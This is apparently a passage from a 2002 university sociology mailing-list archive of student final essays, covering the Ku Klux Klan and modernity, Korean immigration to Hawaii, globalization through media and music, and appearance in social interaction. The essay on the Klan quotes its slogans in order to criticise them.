Klan membership started to dissipate at this point. In the early 1900s the Klan was revived but now the hate grew it was not only against blacks but anyone that was not a White Christian American. The Klan still used violence but now it also incorporated politics. The Klan started to elect political officials that had the same views as them and their membership grew to about two million people. The Klan dissipated over time and would revive itself again and then dissipate. Today's Klan is looking for a more respectable image in fact some groups have allowed women into them. The Klan has also created youth groups to inform the young people of America why we should hate anyone that is not a white Christian. The membership of the Klan today is about ten thousand people. They have also added something to their name; they call themselves the Knights of the Ku Klux Klan. Some extremists of the group still use violence but the majority of their group spreads their message through words, pamphlets, hate music, etc. The objectives of the Klan today is to ""return prayer to school, stop all non-white immigration, drug testing for all welfare recipients, quarantine all aids carriers, declare all laws attempting to enforce gun control as unconstitutional."" The history that I found on the Ku Klux Klan is from www.altered.com/dengue/kkk/history.htm. Having read the history of the Ku Klux Klan it really makes me upset to wonder where all this hatred came from. I am also curious to know what makes Whites better than Non-Whites. You cannot say it is because we were here in America first because it was really the Native Americans (Indians) who are indigenous to this land. I am also curious to understand why this hatred has come about. The theory of modernity is a movement from traditional to a modern society. In a traditional society we were all group oriented. The family was very important and we lived life very much according to our culture. A traditional society would be considered a place with small villages that were all tight nit. A modern society would be considered a very big city where you do not really care about anyone else but yourself. A modern society is very individualistic, democratic, and capitalistic. The theory of modernity suggests that we would some day live in a world where conflict has disappeared because everyone would become the same. The Ku Klux Klan definitely goes against the theory of modernity because the conflict has not gone away in fact it has grown. The Klan used to only hate Blacks but now it hates anyone who is not a White Christian. It is true that the membership is not as great as it used to be but members are all over the place. Also, because of stricter laws it is not as easy to get away with the violence but they can create powerful words and music to spread their message. One thing that the modern society has created for the Klan is the use of technology. The website www.kukluxklan.org.kids4.htm is a site that gives kids a distorted version of how the Ku Klux Klan started. It also spreads their message of hate. It is really neat because it is an interactive website and it can really draw your attention. Technology has become a very powerful weapon to the Klan because they can now spread their message of hate all over the world. Before the Klan would have to hold secret meetings and now everything can be done on the My response to the theory of modernity is that a modern society creates conflict. A modern society makes it easier to hate, to start wars and to communicate any message of hate or violence. The use of the internet allows the Klan to communicate with the rest of the world and enables them to share their beliefs. Civil liberties allow them to line the streets. Granted that a modern society cuts back on the violence there is still this conflict that exists. There is one aspect of the Klan that does go with the theory of modernity and that is the fact that the membership is very weak. Perhaps the Klan will eventually dissipate because the membership will fade out. I do think however, that Klan members are afraid of this and that is why there are websites that promote kids to get involved in this movement. If Klan members can get the youth of America to follow them then perhaps the kids would only marry within their race and therefore create only pure White Christians. I would like to address the issue of why the hate exists. One way of looking at the Ku Klux Klan's hatred is from the sociological aspect of race. Race is an ascriptive characteristic, it is predetermined and it can not be changed. People have always categorized and separated themselves by Race. The Ku Klux Klan separated themselves into whites and non-whites. There hatred sprung from the fact that Blacks were given the right to vote after the civil war had ended and the reconstruction beginning. For a long time the Blacks were slaves and I believe that people got used to the idea that Whites were better and were superior because the Blacks worked for them. The Blacks had no rights, no say and were just there to do their job. After the civil war, I believe that some Whites thought of the Blacks still as slaves. There was also this resentment that was created because the South had lost. I believe that the men who started the Klan were very upset at the lost and decided to take it out on the Blacks because they could not take out their anger on the North. The Blacks were in some ways used as punching bags so that the Whites could release their anger on someone. As time goes on throughout history foreigners are starting to come into the country and take over. They are creating competition in the In an article called The kkk and the federal government (www.kukluxklan.org/kkk.htm) it talks about just that. This article says that after the civil war the Klan was upset with the federal troops that occupied the South. As time goes on the Klan became upset with the government because it allowed foreigners to come in. This article also talks about how our government has become corrupted because it is not the government that was created by our founding fathers. It is a government that has been infiltrated by people who are not White Christians. My response to this article is that the Klan is taking out its anger against non-Whites because it is a way of getting a message to the government because they cannot attack the government itself. I do believe however, that it does not give them the right to hurt anyone with words or violence because they are angry at a bigger force that they can not touch. One other sociological aspect that I would like to look at in regards to the Ku Klux Klan is why are these people coming together. One way of looking at it is collective action. These people are joining together for a common goal and a common interest. The Klan believes in a purely White Christian America. They believe that anyone who is not White is inferior to them. The Klan gives people a reason to form, it unites people with common interest and it creates a hate that can be shared by many. I looked at a website called American Knights (www.americanknights.com) and it started off by saying Black may be beautiful, Tan may be grand but White is still the color of the big boss man. This web site talks about the beliefs of the Knight of the Ku Klux Klan. It also has a membership form so anyone who is a White Christian may join. It talks about what the group does and how they feel. My response to this website is that it really gives people a sense of belonging. It is almost scary to think because this website offers you a family. It unites people together with a common interest and by bringing these people together it creates a larger force. Thanks to technology it can link people together from all over the world. Hopefully they do not become such a powerful group that eventually one day they will have their way and there will only be White Christians in America. Another way of looking at the Ku Klux Klan is that they are using race and collective action to stop the movement of modernity. They are saying that there should be one pure race which is White Christians. This is almost impossible due to the fact that there have been so many intermarriages and it would be hard to get rid of all foreigners in the United States. They use collective action to unite people with the same interest but it can not involve everyone because there is a huge determining factor and that is that you have to be white. They theory of modernity says that everyone will have the same interest but if you use race to determine the same interest then you are restricting the usage of who shares the common interest. Another interesting thing that I came across when studying the Ku Klux Klan is that these people needed something to hate. I believe that throughout history people are always looking for someone to blame for their misfortunes and the Ku Klux Klan found anyone Non-White to blame. The Ku Klux Klan goes against the theory of modernity in many ways which I have pointed out. In fact it makes you wonder which society seems better a traditional society or a modern one. A traditional society encourages the group, groups such as the KKK. A modern society however is filled with people who only care about themselves. The Ku Klux Klan makes you wonder if it is better to have people united together or is it better to have people who are only for themselves. --------------------------------- Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now ",0,0 Kelly Kim ,soc100w ,"Wed, 11 Dec 2002 02:16:10 -1000",[SOC100-L:495] Kelly's Final Essay," Koreans in America For many years people have been coming to America for hope, determination and a new life. Many different Asian cultures like China, Japan and Korea have been emigrating to America to have a better chance at life for themselves and their loved ones. Not only did the three countries immigrate to America but many more did and continue to do so. Koreans have been immigrating to America from the late 1800�s but the first real wave of Korean immigrants came in 1903. The three week trip from Inch�on came to an end on January 13, 1903 where the first Korean immigrants entered Honolulu Harbor with 102 Korean soldiers, government clerks, students, farmers and a few Buddhist monks. Leaving their homeland due to famine, disease and increasing oppression by Japan. The 102 Korean immigrants left Korea to search for a better life in America. The Korean immigrants have come a long way in America, celebrating the Korean Centennial next year. In 1883, the first Korean envoys were sent to Washington D.C. as their first destination in America by Chosun Kingdom (cckigw.org). And that made the first presence of Koreans in America which were political exiles, ginseng merchants, migration laborers and Korean students such as Pyon Su, the first Korean that graduated from an American college. Before the twentieth century there were less than 50 Koreans in America leading to the first big wave of Korean immigrants to Hawaii. In 1903, the transpacific steamer SS Gaelic pulled in 56 men, 21 women, and 25 children to the land of Hawaii, a part of the United States. These 102 people started the Korean American community in the United States. By 1905 there were 7,226 Koreans as contract laborers for sugar plantations. Koreans were known as hard workers that got paid poorly. They worked ten hours from dawn to sunset for sixty-nine cents a day. But, in 1905 Japan had cut off Korean immigration to the United States leaving Korean population in America low compared to other ethnic groups. In 1910, following Japan�s annexation Korean�s world wide rallied for freedom and Korea became and independent nation in 1919. The second wave of Koreans arrived around 1965 after the Korean War as war orphans, wives and relatives of American servicemen who had been stationed in Korea. One in four Korean Americans can be traced back to a family history from a Korean War bride. The 1965 Immigration Act abolished discriminatory immigration quotas based on national origin that made a lot of Koreans immigrate to the United States (cckigw.org). Which was the third and largest wave of Koreans to come to America. In the 1970-early 1980�s 30,000 to 35,000 Koreans annually immigrated to the United States. Many Koreans have come to the United States for a better opportunity for their children�s educations. In the late 1980�s Koreans immigrating to the United States have drastically dropped due to better economic, social and political conditions in South Korea. Especially since 1988 when the Seoul Olympic games were taking place. From the 1990�s to now many people go back and forth from Korea and the United States for opportunities and a way of success. Now there are around two million Korean ancestry people in the United States with around 41,000 in Hawaii. Korean immigrants came to Hawaii after the Portuguese, Filipinos, and Chinese immigrants along with the Japanese. Koreans first started on the sugar plantations with basically all the other ethnic groups except the Caucasions. The Caucasions have mostly led the leadership and boss roles in the economic industry. The Koreans would work hard to send money back home and to make a new home in Hawaii. In 1910, Korean communities developed in the �Ewa Plain, in Wahiawa and Waialua while other Korean immigrants settled in Honolulu to be tailors, shop owners such as furniture makers, and store owners (honoluluadvertiser.com). In the 1940�s Joe Kim opened the first commercial kim chee factory in Honolulu. And Hyo Lim owns a store in Kapalama Shopping Center on Dillingham Boulevard called Palama Super Market that sells and produces Korean products. Palama Super Market is a very popular spot for all the Koreans to get products from their homeland. Mr. Lim has come a long way from having nothing. He is even in the proc Korean food has been a local favorite for some time now. Popular Korean food markets are stores like Palama Super Market and Queens Super Market. Great Korean food places have expanded in Hawaii. Many local people love these great spots such as Sorabol, Ja Gal Chi Shik Tang, Yakiniku Camelia, Kimchee 2, and many more. Kim chee has become a favorite in the islands because of its spicy and tastefulness as well as many other Korean dishes. As years have gone by Korean people have grown in numbers but not as much as other ethnicities. Koreans in Hawaii have come a long way from 1903. The University of Hawaii, Manoa produces more and more successful Korean people everyday just like Mr. Lim who is an experienced grocery retailer and wholesaler of Korean products who graduated from there in 1975 with a bachelor�s degree in agriculture. There are many successful Koreans in Hawaii and the United States that have come a far way. Some stay in the United States and some go back to Korea to make contributions to Korea�s society. Now there are many many stores like jewelry shops, clothes shops, bars, shoe stores, baggage stores and many more shops owned by Koreans that have made it through the rough times. Other successful people were Syngman Rhee who received degrees at Harvard and Princeton. He established a church in Hawaii that he was a pastor to. He became the first president of the Republic of Korea. Another Korean individual that stands out is Sa There are many Korean generations in Hawaii. The first, second, third, fourth, fifth and few sixth and so on. Koreans have a strong and uniformed culture. Koreans have a lot of respect for their elders and are very strong willed in working hard to build a foundation for themselves and their families. Koreans are very strong minded and can be stubborn at times. Korean people�s values and ethics come from their homeland and sticks with them greatly. When talking about Korean people there are many that still hold on to their Korean culture here in America which is wonderful but sometimes a conflict with the American ways. Koreans hold their feelings in and ask for minimal help when trying to finish a task unless it is definitely needed. Korean beliefs are very strong and hard to change. Therefore it seems as if there are less Korean locals than other ethnicities. But, there are many local Koreans in Hawaii as well as other places in the United States. As generations move on there are more local Koreans due to I�m a second generation because my parents came with my grandparents from Korea and my brother and I were the first one�s born in Hawaii. Leaving me to the second generation I was brought up in the Korean custom, the Korean culture that is deeply instilled in me. Though I know my culture I consider myself a local because of living here all my life. The fact that my parents want me to better myself in America and how I lived in Hawaii growing up with all the things I know that makes Hawaii a part of me is why I consider myself local. I love the ways of Hawaii how free and open the culture is. Unlike the Korean culture where many things are not said and everything is a lot more strict. I love my Korean culture but I have fallen in love with Hawaii�s culture. One thing I am grateful for is the knowing of my Korean language that helps me in Hawaii because of Hawaii�s diversity in people and at school for my language courses. It is great to know a second language, though you have your advantages and disadvantage There are many Korean people here in the United States now. More than 40% of Korean Americans live on the West side of the United States mostly in Los Angeles�s Korea Town and other places in Southern California. Other places many Korean American�s can be found in are Hawaii, New York, New Jersey, Philadelphia, and many other urban places. The Korean American community is the fifth largest Asian community in the United States with many significant contributions (asianfortune.com). The Korean American community plays an important role in the United States economy. The Korean American community owns 135,571 businesses that employ 333,000 people (asianfortune.com). Annually making 46 billion dollars helping the U.S. economy. A little over a month from now will be the ultimate celebration of the Korean pioneers that set forth a new life in the America�s coming to Hawaii. The Korean Centennial will be a big celebration honoring those spirits who allowed us Korean Americans to have a stature in America through their fortitude and hard labor. Korean Centennial communities are gathering all over the United States to celebrate this important centennial. The U.S. Senate unanimously has passed on a resolution introduced by Senator George Allen that recognizes the historical significance of the upcoming 100th anniversary of Korean immigration to the United States (asianfortune.com). In Hawaii the Korean Centennial is going to be an enormous impact to the people due to the fact that the first Korean immigrants first came to Honolulu harbor. There is going to be a festival and there are many conference�s going on all over the island because of the Korean Centennial. There are going to be a lot of commemorations like the Bishop Museum exhibit and the Korean Centennial Festival in Kapiolani Park of January 18, 2003. The Korean Centennial is where the Korean American Community reflects on the first time our ancestors came to Hawaii all the way until today. All the trials, hardships and sorrow that have gone through all that tried to survive in the world will be celebrated and looked at. Korean Americans have just put a mark in history determined to be equals in the global communities. Korean American people are slowly but surely making an impact in America as well as the world due to the will of all Koreans. This issue not only covers the culture that we have discussed in class but global economy, politics, society, and social change. One day we will have great stature in the world first starting off by celebrating the Korean Centennial. --------------------------------- Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now ",0,0 Ruby Lee Arcieri ,soc100-L@hawaii.edu,"Wed, 11 Dec 2002 04:58:33 -1000",[SOC100-L:496] my final paper on globalization,"Ruby L. Arcieri Sunki Chai Sociology 100 December 11, 2002 Globalization Over the years, advances in technology have aided in globalization by means of media. In the past it was primarily Western and American culture being spread out to other countries in the world. American culture is still rather predominate, but recently it seems as if Asian and other cultures, especially Japanese culture, has started to expand to surrounding cultures and towards the west. Japanese culture has had an impact in American through anime. In Hawaii not only has Japanese culture been spread through anime, but also by tv shows. Different mediums of globalization will be discussed to show how this process occurs. These movements of globalization show that Western culture is dominate, although not completely dominate, because there is a large mix of other cultures involved in this process of globalization. Japanese culture has used anime to work its way into American society through media. Anime has become widely popular all over the United States. The first article explains that people of all ages and genders have come to enjoy these Japanese cartoons. People all over enjoy movies, tv shows, books, and comics by anime. People like anime because the characters are very human like both appearance and emotion and the story lines are fun and exciting to both children and adults. Anime has combined the American themes of heroes fighting evil with Japanese culture and martial arts. It seems as if this combination is a big part of why anime has been so widely accepted in America. Japanese culture has had its largest impact in Hawaii through television shows. The second article talks about the popularity of Kikaida in Hawaii. Although it was primarily popular back in the 1970s, its popularity is still ever so present today. Last year my senior class did a Kikaida skit for a school banquet, and it was a hit with the student body and their guests. Fans of Kikaida can relate to his human side, and think his mechanical side is cool. Similar to anime, it is a mixture of the American idea of a hero fighting for moral reasons, Japanese martial arts, and the whole technological part of it appeals to the advancing technology of the world. Soap operas and other television series have also aided in the spread of Japanese culture. The third article discusses the soap opera, Oshin, and its popularity in Iran. In Hawaii not only Japanese, but also Korean soap operas have become very popular among both men and women of different races, not just Asians. The participation of Asian culture in this whole globalization process has been discussed, however it is not the only cultural influence in this process. The easiest way to show evidence of globalization is not necessarily from specific types of cultures that influence and spread out to other cultures. But instead to discuss the medium which allow this to all happen. The major medium would obviously be pop culture and media. This entails things such as music, television shows, movies, and fashion. Music is the universal language. Not everyone speaks the same language or understands the English language. However anyone can communicate through music. Origins of music come from all over the world, many of which came out of Africa. Music touches people on an emotional level, way beyond that of a scientific or physical level. People are able to appreciate music from another culture, which opens the door to let a little bit of that different culture to influence one’s own lifestyle. Examples of this are the Latin invasion into the United States with Ricky Martin and Jennifer Lopez, Japan’s appreciation for classical European music, and Asia’s infatuation with American pop and country music. Many Asian countries have their own musicians which tend to emulate the popular musicians of America. Another example is the whole trance and techno genre which traveled from Europe to America and the further to countries all over the world. Television is such a widespread medium of globalization. When one turns on the TV in Hawaii there are specific Korean, Japanese, Chinese, and Filipino channels. On the mainland Spanish channels and the BBC are more prevalent over Asian channels. However there are Korean television stations in California, Washington, and New York. Many of the game shows which are popular in America today originated out of Britain. Game shows such as The Weakest Link and Who Wants to Be a Millionaire both originated from the United Kingdom. Soap operas are also a globalization device. In Hawaii many Asian soaps are popular, in the mainland Spanish soaps are popular, and American soaps such as The Bold and the Beautiful are simulcasted in Spanish. Movies are another big part of globalization. Western-American movies tend to be the most popular all around the world. Most of the time one will see American movie stars and celebrities going to other countries to promote their movies. One rarely sees foreign celebrities promoting movies in America. American celebrities are most popular among celebrities of the world. However there certain film festivals in Europe which bring together people in the movie industry from all over the world. At these festivals unique and cultural movies are shown and this where people are able to influence and be influenced. Also every once in awhile there will be a movie from another country that will make it big in the United States. An example of this is the remake of the recent movie, The Ring, which was originally a Japanese horror film. This film was redone in English and did fairly well in American movie theaters. Fashion is another major part of media that aids in globalization. Fashion and outer appearance is such a superficial but important part of today’s society. The fashion capitals of the world are Paris, France and Milan, Italy. Major designers are Versace, Armani, Gucci, Prada, Dolce and Gabbana, Ralph Lauren, and Fendi, many of which come out of Europe. The designs and clothing of these designers are very popular throughout the world, primarily in Europe, the United States, and Asia. Supermodels that show off and model clothing from these designers also come from all over the world. They come from the United States, Brazil, India, Germany, Scotland, France, England, Czech Republic, and from so many other places. These women are looked up to by girls and women all over the world. These models are a picture of what most women would like to be or look like. So it is clear how fashion puts its two cents into the large scale of world- wide globalization. Another medium through which globalization occurs has to do with lifestyle and culture. Food is a major globalization tool. Everyday people eat food, and they like to eat all different kinds of food. Just about everyone loves Chinese take out food, sushi, and pizza and pasta. These types of food come from all over the world. Popular foods today are Italian, Greek, Indian, Chinese, Japanese, Mexican, and French food. These are just a few of the types of food that there are and that people enjoy eating. Food brings with it the culture it came from. For example when someone goes to eat sushi, they cannot sit there and eat it with a fork. They will attempt to use chopsticks, therefore exploring into another culture. Interior design is another lifestyle affiliated medium of globalization. Popular designs of today have and Indian and Asian influence. Feng Shui is such a popular and recent trend in interior design, and this came out of China. On top of all of the different ways that the world is globalized, there will always be one common interest among all nations, and that is money. Money and people own self-interest in gaining money will always connect different nations together. Trading with another country will always be a way of sharing culture as well as imported and exported goods. Trading is the earliest from of culture globalization. This goes way back in history especially dealing with the Mediterranean Ecumene. The word “ecumene” means “one common world” specifically dealing with cultural aspects. The reason why countries and nations around the Mediterranean Sea formed this common little world was through trade. All of these nations traded with one another opening the door for the sharing of cultures as well as goods. It seems as if advances in technology have really helped make globalization easier in today’s society. The world is so connected by news, tv, movies, magazines, and the internet, that is too hard not to be globalized. This seems to be a good thing rather than a bad thing because the world is better globalized than separated. If each nation or country did not interact with other countries things would get rather boring. People would just have the same thing in their life, and would have no variety. The world would be a globe of individual separate nations. It is like having a room full of 25 unique and different people and not allowing them to talk to one another and share things between them. They would all be close together in the same room, but would be separate, and that is no fun at all. Some sociologist believe that the world revolves around Western culture and all are adapting to it. This statement or belief is not very valid. It might have been valid in the past when Western nations were prospering and being the leader of the pack. In the past other nations looked towards Western culture to learn, but they did not necessarily adopt its culture. Today it seems that although Western culture is predominant, it is not overly predominate. There seems to be a nice, balanced mixing of cultures. Each nation has its own culture and traditions. While it shares its culture and experiences other cultures, it maintains its tradition. In the past that Western culture was being spread and partially adopted by other countries. Today other cultures are being exposed to the rest of the world through media by anime and tv shows. Even though Japanese culture is seen by Americans through these tv shows and cartoons, it is not being accepted or adopted by society, like American culture has been emulated by other countries in the past. Although other countries enjoy many things from American culture, it does not mean that American culture is dominating over other cultures. American culture is more looked upon for being more modern and having technological advancements, rather than its traditions and values. Other countries strive to be as modern as the United States and adopt some of its values, but those countries have their own traditions and values acquired through its history. Overall it just seems as if technology has allowed different cultures to be exposed by means of entertainment that everyone around the world enjoys. It gives people a glimpse of other cultures, while they maintain their own culture’s traditions and values. Bibliography “Fung Shui For Harmony and Prosperity” Hilton, Ronald. “GLOBALIZATION: Music” Ige, Ken. “Kikada Returns to Hawaii.” Porter, Keith. “What Is Globalization?” Smith, Kimberly. “The Elite of the Fashion Industry.” Stack, Peter. “A Big Draw: Japanese Anime Cartoons Find an Eager U.S. Audience – and it isn’t just kids.”UK Gameshows Ziegler, Herbert F. Traditions and Encounters: A Global Perspective on the Past. New York: McGraw-Hill Companies Inc., 2002 (pg. 246-248, 273-275, 279- 283)",0,1 CKYP76@aol.com,soc100-l@hawaii.edu,"Wed, 11 Dec 2002 06:39:21 -1000",[SOC100-L:497] Christy Pascua-Final Essay,"Symbols of society is one main aspect that is used to analyze culture. These symbols are outward manifestations of the values and beliefs of a specific culture. By these symbols one is able to determine the moral codes of a certain society, as well as their beliefs, traditions, even the social stratification of a particular society. One such symbol is music. Music is often the means used to educate youth, to preserve pieces of history, as well as a form of entertainment. For example, in African life, music was used to teach children various tasks that needed to be performed. African Gewels, or Griots, preserved genealogy. Eastern European and Indian epic songs preserved the legends of mythical heroes of society. In China, music was a required area of study for all scholars. The Molimo ceremony of the pygmies of central Africa involved singing and dancing to venerate and honor the spirit of the forest. Thus, a study of music from around the world, and in different time periods would reveal much about different societies throughout the world and how they have changed over time. This would make sense since every society in history has a form of music. In fact, according to William Malm, there exists ""many evidences of music that come from the very cradle of civilization and give us our earliest clues as the first uses of music by urbanized people [and] the oldest records of the ancient civilizations show that music was already a highly organized activity."" (Malm p. 97) Music has existed as long as human history. Therefore, music, as a symbol of society, would serve as a sort of narrative of the different cultures throughout history. This would also infer that by the movement of various musics to different parts of the world would cause different cultures to adopt different cultural values and beliefs. This would in effect support the theory of globalization, and in recent times, specifically the theory of modernization. By analyzing musical examples from the past and the present, one may observe the effects of globalization, and perhaps get a glimpse of what the future holds for modern society. History supports the idea that culture has a tendency to spread among societies. A close look at the music of various cultures in the past attests to the fact that the movement of people across continents brought on a wave of cultural change. One point of evidence that music traveled over great distances is the phenomenon of similar instruments, and even melody lines existing in cultures that seem to have no apparent connection. For example, floating melodies, or wandering melodies, are melody lines that may appear in several areas of the world, perhaps even on different continents, with perhaps different lyrics, but are apparently the same melody. These melodies may have originated in one part of the world and traveled over great distances through the current means of social interaction. Many melodies traveled along the silk road or other trade routes, or with gypsies, and even seamen. Thus, as the world became more connected, different societies began unwittingly to share their cultures with one another. Even the exchange of musical instruments gives evidence of globalization. For example, the Assyrian harp of the seventh-century BC bares a striking resemblance to the Japanese kugo harp of the eigth-century AD (Malm p. 98) Thus, a single instrument traversed an entire continent, as well as a sea to appear in a completely different society centuries later. The extent of this globalization is not isolated to a few cases, but almost every culture has been in some way influenced by another culture. Other examples include Chinese influence on Japanese music, Indonesian Islamic religion, along with its sacred knobbed gongs appearing in Mindanao of the Philippine Islands, not to mention similarities found throughout the Pacific rim. However, these examples of globalization are not limited to the far east. They extend to the other continents of Africa, Europe, and the Americas. The traditional music of Africa has been greatly influenced by various cultures around the world. African high life music exemplifies the extent to which western societies have influenced traditional African musical culture. While they preserve certain aspects of their own culture, such as various instruments like the mbira as well as a host of percussion instruments, along with various singing styles, like call and response, the western influence is unmistakable. Various parts of southern Africa have been influenced by modern North American rock music, incorporating western instruments like the saxophone and the electric guitar. West and central African music has been influenced by South American music, making use of Latin rhythm. Other African cultures were influenced by the Arabic nightclub scene. While this mixture of cultures helped build tolerance, and perhaps even a unity between traditional African culture and the western world, sacrifices on the part of African culture still had to be made. To be acceptable to European taste, African musicians had to compromise their traditional use of a colorful timbre, the use of some of their instruments, and had to adopt western harmony and European language. So globalization and modernization may have helped build tolerance between cultures, but at what expense? At the loss of traditional culture? In some instances, a compromise was not even in the bargaining, and cultural identity had to be disguised. Both examples here presented are those of African slaves that were brought to the Americas. Slaves from Africa were brought to Brazil to work on sugar plantations. To exercise their cultural identity, slaves used song and dance to disguise what was actually a form of martial arts. Capoeira is now known as a dance and a martial art that preserved various traditional African musical instruments. While this form of music allowed slaves to retain some symbols of their culture, their counterparts in North America used western music to preserve their sense of identity and history. When African slaves were brought to work on cotton and tobacco farms in North America, they were also forced to embrace Christianity. They used spiritual hymns, songs depicting biblical stories, to express their indignation and suffering, the hard life they had to suffer because of being taken from their homeland. They also used it as a means of escape. In both examples, music was the means of relating their history as a people, as a society. Another interesting phenomenon of globalization is that of the folk music of the mestizo culture in South America. Mestizo refers to a mixture of cultures of the indigenous people of South America and the Europeans who settled there. The Europeans who came to the Americas brought with them many aspects of their society, including religion and folk music. The phenomenon lies in the fact that if one wished to study traditional folk music of Europe, it would be best to search out the Mestizo culture of South America, because it was here in South America that these folk songs were preserved, while in Europe, from which they originated from, they were more subject to change. Therefore, here is an example of culture being preserved through globalization. More recent effects of globalization is easily seen in popular music today. The effects of western society on the far east is easily apparent in today's popular music of Japan. Many of Japan's young artists pride themselves on their mastery of imitating English lyrics and western dance styles. Rap music has seeped its way into a society that is usually seen as more conservative than western society. Pop stars like Michael Jackson and Celine Dion are just as much celebrities in Asia as they are in America. The music of the US does not remain unaffected either. The recent surge of Latin influenced music testifies to the mixture of cultures right here in America. Recent rising stars representing the Latin scene such as Christina Aguilera, Jennifer Lopez, Marc Antony, Ricki Martin, and Enrique Iglesias, to name a few, are more than proud to incorporate their cultural heritage, using traditional instruments, rhythms, and language to do so. Even in America, the supposed leader of modernization feels the effects of globalization. Even more locally is the genre of Hawaiian music. As most inhabitants of Hawaii know, traditional Hawaiian music came from Polynesia with the first inhabitants of the Hawaiian Islands. Traditional music of Hawaii is much different from the persuasive melodies played for tourists on Waikiki beach evoking pictures of the perfect sunset. Rather, traditional Hawaiian music encumbered much of traditional Hawaiian culture. Their music was based on mele, or poetry, which was sung or chanted. Since ancient Hawaiians were a nonliterary society, mele was important as an oral tradition, a way of preserving their culture and transmitting it to future generations. Musin had many functions in traditional Hawaiian life. It was used to honor their gods and leaders, to carry messages, to record history and genealogy, as well as for entertainment and expression. It was believed that performing certain types of chanting that one could gain spiritual power or strength. Complementary instruments were usually made of everyday materials such as rocks and sticks, although they did use drums in their music. However, the western influence, which began with the arrival of Captain Cook, took its toll and traditional Hawaiian music became almost irrecognizable. The introduction of the Roman Catholic Church changed the entire structure of music. Rather than the open verse chants of traditional music, the structured style of the himeni, or hymn, took over. Choirs sang instead of individuals. Western instruments such as the guitar, the steel-stringed guitar, the violin, and the ukulele were added. Even the hula changed. In the early twentieth century attempts were made to mix traditional and modern Hawaiian music, which resulted in music that sounds much like the music we hear in the tourist parts of town, idealizing Hawaii as the paradaisic vacation spot to visit. In the 1970's an attempt was made to return to the traditional style of Hawaiian music. Although this renaissance had some success, today most Hawaiian music remains under the influence of different cultures. In fact, as time passes, more and more cultures seem to be incorporated into Hawaiian music. Reggae music, as well as Jazz, Pop, Latin, and even Classical music have found their way onto the contemporary Hawaiian scene. Therein lies more evidence of the affects of globalization. The affects of globalization are readily seen though the analysis of various musical cultures around the world in the past and present, but what can we glean from this phenomenon? What can it mean for our future? One fact that is apparent is that the worldly trend is a transition form a traditional society to a modern society. While this may mean a better tolerance for other cultures, it may mean the loss of traditional values and beliefs. In the cases of the African slaves, as well as the mestizo culture of South America, and even the mixture of traditional and modern Hawaiian music, the integration of music helped cultures to blend. It enabled different societies to learn from each other. One the other hand, each side had to give up part of its culture. Was the gain worth the loss? Some things that have to be compromised may, in the transaction, be lost forever. Even when an attempt is made to revive a particular tradition, sometimes, it has been last for so long that when it is revived, it does not return with the same implications. As explained by Mike Brocken, ""although young people...are ready to embrace music of 'past' eras, they do so in contexts in which it is possible to rearticulate the signifier."" ""While such folk performances are viewed by many as reflecting a respect for heritage and tradition, these images no longer represent the informal rules and expectations that guide our everyday behaviour."" (Brocken) Even if society is more open to music in different cultures, it does nor necessarily mean that they understand the cultural implications of that music. This is in part due to the fact that with today's highly commercialized society, many values and beliefs of culture are lost in the mix. ""The inherited categories of high culture, folk culture and popular culture, together with the host of associated aesthetic gatekeepers are being subverted by the heterogeneous mass-mediated cultures of the computer age."" (Brocken) Globalization may theoretically sound like a good idea, that all cultures will melt into one, eliminating ethnic differences, and thus conflict and violence. The truth of the matter is, though, that while technology has furthered the world's interconnection, it has also numbed society's moral sense. The underlying values and beliefs of cultural norms no longer seem to carry as much weight. Perhaps this is because they can be bypassed through various media, like the Internet. Thus ""technology is helping to challenge the conventional wisdom of taste cultures in complex industrial societies."" As a result ""the culture of the folk music revival remains stuck in an 'ideal' form incapable of adjusting to the 'real' and ever-changing patterns of society."" (Brocken) Youths today, brought up with the limitlessness of the Internet, can go online and download music without learning their social implications, without knowing the reason why that particular music sounds the way it does, without understanding the moral beliefs behind the lyrics. World cultures have become so mixed that it is hard to tell the difference, but that difference reveals much about cultural values. Maybe that is why moral standards have become so low in recent years, because of a lack of knowledge. Although the trend is toward a modern way of life, traditional values are still needed. We cannot leave the past behind. As Bruno Nettl points out, ""the world's societies survive by tying the present to their own past, and in this, music plays a significant and sometimes indispensable role."" (Nettl) We need to look at the past to move toward the future. Since music is a symbol of society, it is one aspect of culture that we cannot afford to overlook. So the next time you listen to that song with the different-sounding instrument in the background, do not brush it off as another instrument keeping the beat. Think about its origin, its social implications, and what it represents of the culture that it originates from. You might be surprised how much traditional aspects of music are incorporated into popular music of modern society, its just a matter of recognizing it when you hear it. So its a good idea to really know what you are listening to. bibliography: Malm, William P. Music Cultures of the Pacific, the Near East, and Asia. New Jersey. Prentice Hall. 1996 Brocken, Mike. The Tarnished Image? 1 July 2001. 10 December 2002. Nettl, Bruno. Relating the Present to the Past 20 October 1996. 10 December 2002.",0,1 Ann Calaguas Ginoza ,soc100-l@hawaii.edu,"Wed, 11 Dec 2002 06:55:37 -1000",[SOC100-L:498] ann's final paper,"Social Interaction Concerning Appearance Most people do not want to admit that appearance matters. Maybe it’s the fact that they don’t want to be seen as shallow or superficial, but in fact, physical appearance plays a big part in the way people are viewed. Appearance affects social interaction. The movement towards modernity plays a part in the way people are viewed. Especially with today’s pop culture, many people are influenced by what they see in the media. It doesn’t only concern the way individuals dress, but also how they act. Appearance also helps distinguish social classes. Business productivity is affected by the way their employees look. An individual’s response to appearance starts young and develops as a person grows older. The way people look and dress has always been an issue in society. As with everything else, there is always a constant movement towards modernity. In the early colonial days of Western Europe, men of honor have been described as those having great physical presences. A large build indicated toughness and the natural ability to defend yourself as well as others. Today, men that are clean-cut and wear three piece suits are thought of as being successful and well liked. They are viewed with a sense of honor as well. The movement towards modern appearance occurred frequently in the 1300s. The political and social conditions of a nation as well as developments in technology are factors that will affect this type of change. Pop culture in the past affected society by setting trends in appearance. In the 1300s, European rulers set fashions that were followed by members of their courts. In the 1600s, King Louis XIII of France wore a wig to cover his baldness. Men in France thought it was fashionable and started to shave their heads and wear wigs. Even as early as the 1300s, people were concerned with their physical appearance. Today’s pop culture is broadcasted everywhere so it is hard to be resistant to it. Celebrities are often looked to as roll models for young children. The way they appear affects how everyone that is watching them will act. Some little girls look up to someone like Britney Spears because she’s young, beautiful, and successful. How she appears on television, magazines, or any type of media can influence the social interaction of little girls that are trying to emulate her. This is true for anyone that is admired and looked up to. Being attractive is connected to being up to date and modern. If you look good, you become more appealing and draw more people to you. The connection between popularity and attractiveness has been seen in the sense that attractive people show more qualities of popularity, by being outgoing, talkative, and funny. There is also a reverse connection that states that people assume that popular people are more attractive. A study that was 